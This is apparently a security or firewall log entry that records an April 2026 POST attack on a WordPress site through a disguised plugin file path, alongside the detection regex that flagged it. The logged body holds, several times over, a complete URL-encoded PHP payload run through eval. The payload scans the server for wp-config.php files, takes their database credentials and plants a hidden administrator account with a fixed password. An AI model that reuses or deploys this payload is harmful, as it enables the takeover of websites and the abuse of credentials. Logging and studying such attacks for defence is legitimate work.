20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:29:57","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:12663\nsec-ch-ua-mobile:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Android\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nybXJBY=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
